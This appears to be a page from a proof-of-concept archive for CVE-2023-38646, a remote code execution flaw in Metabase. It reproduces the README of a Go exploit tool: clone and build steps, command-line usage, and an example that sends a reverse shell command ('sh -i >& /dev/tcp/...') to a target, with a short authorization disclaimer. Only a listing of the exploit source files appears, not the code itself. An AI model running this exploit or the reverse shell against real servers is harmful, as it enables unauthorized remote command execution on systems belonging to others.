Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-38646 PoC — Metabase 安全漏洞

Source
Associated Vulnerability
Title:Metabase 安全漏洞 (CVE-2023-38646)
Description:Metabase是美国Metabase公司的一个开源数据分析平台。 Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞,该漏洞源于允许攻击者以运行该服务的权限在服务器上执行任意命令。
Description
CVE-2023-38646 Metabase 0.46.6 exploit
Readme
# CVE-2023-38646
CVE-2023-38646 Metabase 0.46.6 exploit

This tool exploits a vulnerability (CVE-2023-38646) in a software platform. The exploit allows for remote code execution via a crafted request, leveraging a mishandled database connection string.

##  Overview

The tool:
- Fetches the setup token from the target URL.
- Base64 encodes the supplied command.
- Constructs the payload with the encoded command.
- Sends the payload to exploit the vulnerability.


## Installation

Clone the repository:
```
git clone https://github.com/SUT0L/CVE-2023-38646.git
cd CVE-2023-38646
go build -o exploit
chmod +x exploit
```

## Usage

```
./exploit --url [TARGET_URL] --command [COMMAND] [--proxy PROXY_URL]
```

TARGET_URL: The URL of the platform to be scanned and exploited.
COMMAND: The command to be executed on the target.
PROXY_URL (Optional): The URL of the proxy server (e.g., http://127.0.0.1:8080). If not provided, no proxy will be used.


## Example with a sh reverse shell

```
./exploit --url https://example.com --command 'sh -i >& /dev/tcp/10.0.0.1/4444 0>&1' --proxy http://127.0.0.1:8080
```

## Disclaimer

This tool is intended for educational and research purposes only. Always ensure you have proper authorization before scanning or exploiting any target. Misuse of this tool is strictly against the developer's intention and could be illegal.

## Feedback & Contributions

Feel free to open issues for any feedback, bugs, or feature requests. Pull requests are always welcome!
File Snapshot

[4.0K] /data/pocs/8e29228d7aea1bbfa7450829f616ff4c107b3f76 ├── [ 31] go.mod ├── [4.8K] main.go └── [1.5K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.